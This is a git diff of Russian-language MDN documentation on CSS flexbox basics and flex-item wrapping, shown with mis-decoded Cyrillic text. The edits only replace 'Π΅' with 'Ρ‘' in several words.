<p>Если ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства <code>flex-direction</code>Β Π½Π°Β <code>column</code>, главная ось измСнится, ΠΈ наши элСмСнты Π±ΡƒΠ΄ΡƒΡ‚Β ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ΡΡ Π² столбСц. ΠŸΡ€ΠΈ установкС парамСтра <code>column-reverse</code>, Π½Π°Ρ‡Π°Π»ΠΎΒ ΠΈ ΠΊΠΎΠ½Π΅Ρ†Β ΡΡ‚ΠΎΠ»Π±Ρ†Π°Β ΠΏΠΎΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ мСстами.</p>
-<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства <code>flex-direction</code> установлСно ΠΊΠ°ΠΊΒ <code>row-reverse</code>. ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ значСния — <code>row</code>, <code>column</code>Β ΠΈ<code>column-reverse</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ ΠΊΠ°ΠΊ измСнятся элСмСнты контСйнСра.</p>
+<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства <code>flex-direction</code> установлСно ΠΊΠ°ΠΊΒ <code>row-reverse</code>. ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ значСния — <code>row</code>, <code>column</code>Β ΠΈ<code>column-reverse</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ ΠΊΠ°ΠΊ измСнятся элСмСнты контСйнСра.</p>
<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-direction.html", '100%', 350)}}</p>
@@ -105,7 +105,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π΄Π²Π° свойства <code>flex-direction</code> ΠΈ <code>flex-wrap</code> Π² ΠΎΠ΄Π½ΠΎΠΌΒ {{cssxref("flex-flow")}}. ΠŸΠ΅Ρ€Π²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства опрСдСляСт <code>flex-direction</code>, Π²Ρ‚ΠΎΡ€ΠΎΠ΅Β <code>flex-wrap</code>.</p>
-<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΏΠ΅Ρ€Π²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π° ΠΎΠ΄Π½ΠΎ ΠΈΠ· доступных для <code>flex-direction</code> - <code>row</code>, <code>row-reverse</code>, <code>column</code> or <code>column-reverse</code>, Π° Π²Ρ‚ΠΎΡ€ΠΎΠ΅ Π½Π°Β <code>wrap</code> ΠΈΠ»ΠΈΒ <code>nowrap</code>,Β Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ ΠΊΠ°ΠΊ измСнятся элСмСнты контСйнСра.</p>
+<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΏΠ΅Ρ€Π²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π° ΠΎΠ΄Π½ΠΎ ΠΈΠ· доступных для <code>flex-direction</code> - <code>row</code>, <code>row-reverse</code>, <code>column</code> or <code>column-reverse</code>, Π° Π²Ρ‚ΠΎΡ€ΠΎΠ΅ Π½Π°Β <code>wrap</code> ΠΈΠ»ΠΈΒ <code>nowrap</code>,Β Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ ΠΊΠ°ΠΊ измСнятся элСмСнты контСйнСра.</p>
<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-flow.html", '100%', 400)}}</p>
@@ -123,7 +123,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox
<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ½ΡΡ‚ΡŒ ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ эти свойства, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Π½Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Ρ€Π°Π·ΠΎΠ±Ρ€Π°Ρ‚ΡŒΡΡ с ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠ΅ΠΉΒ <strong>доступного пространства</strong>. ИзмСняя значСния этих флСкс свойств, ΠΌΡ‹ влияСм Π½Π° Ρ‚ΠΎ, ΠΊΠ°ΠΊ доступноС пространство распрСдСляСтся ΠΌΠ΅ΠΆΠ΄Ρƒ нашими элСмСнтами. Π­Ρ‚Π° концСпция Ρ‚Π°ΠΊ ΠΆΠ΅ Π²Π°ΠΆΠ½Π° для выравнивания элСмСнтов.</p>
-<p>Если наш ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ 500 пиксСлСй содСрТит Ρ‚Ρ€ΠΈ элСмСнта ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ 100 пиксСлСй ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ, для ΠΈΡ… размСщСния Π½Π°ΠΌ потрСбуСтся пространство ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ Π² 300 пиксСлСй. ΠžΡΡ‚Π°Π΅Ρ‚ΡΡ 200 пиксСлСй свободного пространства. Если ΠΌΡ‹ Π½Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΠΌ исходныС значСния этих свойств, флСксбокс размСстит это пространство Π·Π° послСдним элСмСнтом.</p>
+<p>Если наш ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ 500 пиксСлСй содСрТит Ρ‚Ρ€ΠΈ элСмСнта ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ 100 пиксСлСй ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ, для ΠΈΡ… размСщСния Π½Π°ΠΌ потрСбуСтся пространство ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ Π² 300 пиксСлСй. ΠžΡΡ‚Π°Ρ‘Ρ‚ΡΡ 200 пиксСлСй свободного пространства. Если ΠΌΡ‹ Π½Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΠΌ исходныС значСния этих свойств, флСксбокс размСстит это пространство Π·Π° послСдним элСмСнтом.</p>
<p><img alt="This flex container has available space after laying out the items." src="https://mdn.mozillademos.org/files/15620/Basics7.png" style="display: block; height: 198px; margin: 0px auto; width: 528px;"></p>
@@ -131,7 +131,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox
<h3 id="Бвойство_flex-basis">Бвойство <code>flex-basis</code></h3>
-<p>Бвойство <code>flex-basis</code> опрСдСляСт Ρ€Π°Π·ΠΌΠ΅Ρ€ доступного пространства элСмСнта.Β ΠΠ°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ этого свойства - <code>auto </code>- Π² этом случаС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ провСряСт,Β ΠΈΠΌΠ΅ΡŽΡ‚ Π»ΠΈ элСмСнты Ρ€Π°Π·ΠΌΠ΅Ρ€. Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ всС ΡΠ»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹Β ΠΈΠΌΠ΅ΡŽΡ‚ ΡˆΠΈΡ€ΠΈΠ½Ρƒ 100px, ΠΈ этот Ρ€Π°Π·ΠΌΠ΅Ρ€ читаСтся Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ ΠΊΠ°ΠΊ <code>flex-basis</code>.<br>
+<p>Бвойство <code>flex-basis</code> опрСдСляСт Ρ€Π°Π·ΠΌΠ΅Ρ€ доступного пространства элСмСнта.Β ΠΠ°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ этого свойства - <code>auto </code>- Π² этом случаС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ провСряСт,Β ΠΈΠΌΠ΅ΡŽΡ‚ Π»ΠΈ элСмСнты Ρ€Π°Π·ΠΌΠ΅Ρ€. Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ всС ΡΠ»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹Β ΠΈΠΌΠ΅ΡŽΡ‚ ΡˆΠΈΡ€ΠΈΠ½Ρƒ 100px, ΠΈ этот Ρ€Π°Π·ΠΌΠ΅Ρ€ читаСтся Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ ΠΊΠ°ΠΊ <code>flex-basis</code>.<br>
Если элСмСнты Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ Ρ€Π°Π·ΠΌΠ΅Ρ€Π°, Ρ‚ΠΎ для Ρ€Π°Π·ΠΌΠ΅Ρ€Π° <code>flex-basis</code> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Ρ€Π°Π·ΠΌΠ΅Ρ€Β ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°. Π’ΠΎΡ‚ ΠΏΠΎΡ‡Π΅ΠΌΡƒ, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ просто объявляСм <code>display:Β flex</code> Π½Π° Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠΌ элСмСнтС для создания flex-элСмСнтов, всС элСмСнты ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°ΡŽΡ‚ΡΡ Π² ряд ΠΈ Π·Π°Π½ΠΈΠΌΠ°ΡŽΡ‚ ΡΡ‚ΠΎΠ»ΡŒΠΊΠΎ мСста, сколько ΠΈΠΌ Π½ΡƒΠΆΠ½ΠΎ для отобраТСния их содСрТимого.</p>
<h3 id="Бвойство_flex-grow">Бвойство <code>flex-grow</code></h3>
diff --git a/files/ru/web/css/css_flexible_box_layout/mastering_wrapping_of_flex_items/index.html b/files/ru/web/css/css_flexible_box_layout/mastering_wrapping_of_flex_items/index.html
index 6a31a4a6ea..92c797bcf4 100644
--- a/files/ru/web/css/css_flexible_box_layout/mastering_wrapping_of_flex_items/index.html
+++ b/files/ru/web/css/css_flexible_box_layout/mastering_wrapping_of_flex_items/index.html
@@ -72,24 +72,24 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items
<p>Π’ спСцификации флСксбоксов ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ рассказано, Ρ‡Ρ‚ΠΎ Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΏΡ€ΠΎΠΈΡΡ…ΠΎΠ΄ΠΈΡ‚ΡŒ, ΠΊΠΎΠ³Π΄Π° элСмСнты Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠ²ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°Ρ‚ΡŒΡΡ ΠΏΡ€ΠΈ установкС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° <code>visibility: collapse</code> Π½Π° элСмСнтС. Π‘ΠΌΠΎΡ‚Ρ€ΠΈΠΌ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΡŽ MDN для ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° {{cssxref("visibility")}}. БпСцификация описываСт ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ Ρ‚Π°ΠΊ:</p>
<blockquote>
-<p>β€œΠ£ΡΡ‚Π°Π½ΠΎΠ²ΠΊΠ° visibility:collapse Π½Π° flex элСмСнтС Π΄ΠΎΠ»ΠΆΠ½Π° ΡΠ²ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°Ρ‚ΡŒ этот flex элСмСнт. Π­Ρ‚ΠΎΡ‚ эффСкт Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ Ρ‚Π°ΠΊΠΈΠΌ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΏΡ€ΠΈ установкС свойства visibility:collapse Π½Π° элСмСнтС table-row ΠΈΠ»ΠΈ table-column: свёрнутый flex элСмСнт ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ удаляСтся ΠΈΠ· процСсса Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π°, Π½ΠΎ оставляСт Π·Π° собой Π½Π΅ΠΊΡƒΡŽ "распорку", которая сохраняСт ΡΡ‚Π°Π±ΠΈΠ»ΡŒΠ½Ρ‹ΠΌ ΠΏΠΎΠΏΠ΅Ρ€Π΅Ρ‡Π½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ flex-строки. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ссли флСкс-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½Ρƒ строку, динамичСскоС сворачиваниС ΠΈΠ»ΠΈ Ρ€Π°Π·Π²ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°Π½ΠΈΠ΅ элСмСнтов ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ основной Ρ€Π°Π·ΠΌΠ΅Ρ€ флСкс-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°, Π½ΠΎ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎ, Ρ‡Ρ‚ΠΎ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ ΠΏΠΎΠΏΠ΅Ρ€Π΅Ρ‡Π½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΈ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΊ эффСкту "виляния" всСго ΠΌΠ°ΠΊΠ΅Ρ‚Π° страницы.Β  Однако процСсс обСртывания flex-строки выполняСтся послС ΠΏΡ€ΠΎΡ†Π΅Π΄ΡƒΡ€Ρ‹ сворачивания, поэтому ΠΏΠΎΠΏΠ΅Ρ€Π΅Ρ‡Π½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ flex-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° с нСсколькими строками ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ.” - <a href="https://www.w3.org/TR/css-flexbox-1/#visibility-collapse">Π‘Π²ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°Π½ΠΈΠ΅ элСмСнтов</a></p>
+<p>β€œΠ£ΡΡ‚Π°Π½ΠΎΠ²ΠΊΠ° visibility:collapse Π½Π° flex элСмСнтС Π΄ΠΎΠ»ΠΆΠ½Π° ΡΠ²ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°Ρ‚ΡŒ этот flex элСмСнт. Π­Ρ‚ΠΎΡ‚ эффСкт Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ Ρ‚Π°ΠΊΠΈΠΌ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΏΡ€ΠΈ установкС свойства visibility:collapse Π½Π° элСмСнтС table-row ΠΈΠ»ΠΈ table-column: свёрнутый flex элСмСнт ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ удаляСтся ΠΈΠ· процСсса Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π°, Π½ΠΎ оставляСт Π·Π° собой Π½Π΅ΠΊΡƒΡŽ "распорку", которая сохраняСт ΡΡ‚Π°Π±ΠΈΠ»ΡŒΠ½Ρ‹ΠΌ ΠΏΠΎΠΏΠ΅Ρ€Π΅Ρ‡Π½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ flex-строки. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ссли флСкс-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½Ρƒ строку, динамичСскоС сворачиваниС ΠΈΠ»ΠΈ Ρ€Π°Π·Π²ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°Π½ΠΈΠ΅ элСмСнтов ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ основной Ρ€Π°Π·ΠΌΠ΅Ρ€ флСкс-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°, Π½ΠΎ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎ, Ρ‡Ρ‚ΠΎ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ ΠΏΠΎΠΏΠ΅Ρ€Π΅Ρ‡Π½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΈ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΊ эффСкту "виляния" всСго ΠΌΠ°ΠΊΠ΅Ρ‚Π° страницы.Β  Однако процСсс обёртывания flex-строки выполняСтся послС ΠΏΡ€ΠΎΡ†Π΅Π΄ΡƒΡ€Ρ‹ сворачивания, поэтому ΠΏΠΎΠΏΠ΅Ρ€Π΅Ρ‡Π½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ flex-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° с нСсколькими строками ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ.” - <a href="https://www.w3.org/TR/css-flexbox-1/#visibility-collapse">Π‘Π²ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°Π½ΠΈΠ΅ элСмСнтов</a></p>
</blockquote>
<p>ПониманиС этого повСдСния ΠΏΠΎΠ»Π΅Π·Π½ΠΎ, Ссли Π²Ρ‹ ΠΏΠ»Π°Π½ΠΈΡ€ΡƒΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ яваскрипт Π½Π° флСкс-элСмСнтах ΠΈ с Π΅Π³ΠΎ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΏΡ€ΡΡ‚Π°Ρ‚ΡŒ ΠΈΠ»ΠΈ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚. ΠŸΡ€ΠΈΠΌΠ΅Ρ€ Π² спСцификации дСмонстрируСт ΠΎΠ΄ΠΈΠ½ Ρ‚Π°ΠΊΠΎΠΉ шаблон.</p>
-<p>Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΆΠΈΠ²ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Ρƒ нас ΠΏΠΎΠΊΠ°Π·Π°Π½ флСкс-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ со ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² "пСрСнос" Π² состоянии "Π½Π΅ ΠΏΠ΅Ρ€Π΅Π½ΠΎΡΠΈΡ‚ΡŒ". Π’Ρ€Π΅Ρ‚ΠΈΠΉ элСмСнт ΠΈΠΌΠ΅Π΅Ρ‚ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° большС, Ρ‡Π΅ΠΌ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ элСмСнты. И Ρƒ Π½Π΅Π³ΠΎ установлСн ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Β <code>visibility: collapse</code>. Π‘Π»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΎΠ½ ΠΈΠΌΠ΅Π΅Ρ‚ Π½Π΅ΠΊΡƒΡŽ "распорку", которая ΡƒΠ΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Ρ‚Ρƒ высоту, которая ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ этот элСмСнт. Если Π’Ρ‹ ΡƒΠ΄Π°Π»ΠΈΡ‚Π΅ <code>visibility: collapse</code> ΠΈΠ· CSS ΠΈΠ»ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π° <code>visible</code>, Ρ‚ΠΎ Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ элСмСнт исчСзнСт, Π° пространство пСрСраспрСдСлится ΠΌΠ΅ΠΆΠ΄Ρƒ Π½Π΅ свСрнутыми элСмСнтами; высота флСкс-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° ΠΏΡ€ΠΈ этом Π½Π΅ измСнится.</p>
+<p>Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΆΠΈΠ²ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Ρƒ нас ΠΏΠΎΠΊΠ°Π·Π°Π½ флСкс-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ со ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² "пСрСнос" Π² состоянии "Π½Π΅ ΠΏΠ΅Ρ€Π΅Π½ΠΎΡΠΈΡ‚ΡŒ". Π’Ρ€Π΅Ρ‚ΠΈΠΉ элСмСнт ΠΈΠΌΠ΅Π΅Ρ‚ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° большС, Ρ‡Π΅ΠΌ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ элСмСнты. И Ρƒ Π½Π΅Π³ΠΎ установлСн ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Β <code>visibility: collapse</code>. Π‘Π»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΎΠ½ ΠΈΠΌΠ΅Π΅Ρ‚ Π½Π΅ΠΊΡƒΡŽ "распорку", которая ΡƒΠ΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Ρ‚Ρƒ высоту, которая ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ этот элСмСнт. Если Π’Ρ‹ ΡƒΠ΄Π°Π»ΠΈΡ‚Π΅ <code>visibility: collapse</code> ΠΈΠ· CSS ΠΈΠ»ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π° <code>visible</code>, Ρ‚ΠΎ Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ элСмСнт исчСзнСт, Π° пространство пСрСраспрСдСлится ΠΌΠ΅ΠΆΠ΄Ρƒ Π½Π΅ свёрнутыми элСмСнтами; высота флСкс-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° ΠΏΡ€ΠΈ этом Π½Π΅ измСнится.</p>
<div class="note">
-<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Firefox для Π΄Π²ΡƒΡ… ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹Ρ… Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ², ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Chrome ΠΈ Safari Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°ΡŽΡ‚ свёрнутый элСмСнт ΠΊΠ°ΠΊ скрытый.</p>
+<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Firefox для Π΄Π²ΡƒΡ… ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹Ρ… Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ², ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Chrome ΠΈ Safari Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°ΡŽΡ‚ свёрнутый элСмСнт ΠΊΠ°ΠΊ скрытый.</p>
</div>
<p>{{EmbedGHLiveSample("css-examples/flexbox/wrapping/visibility-collapse.html", '100%', 650)}}</p>
-<p>Когда Π’Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚Π΅ с многострочным флСкс-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ΠΎΠΌ, Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ процСсс обёртывания происходит <em>послС</em> сворачивания. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΡ†Π΅Π΄ΡƒΡ€Ρƒ оборачивания, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΡ‡Π΅ΡΡ‚ΡŒ Π½ΠΎΠ²ΠΎΠ΅ пространство, оставлСнноС свСрнутым элСмСнтом Π² Π³Π»Π°Π²Π½ΠΎΠΉ оси.</p>
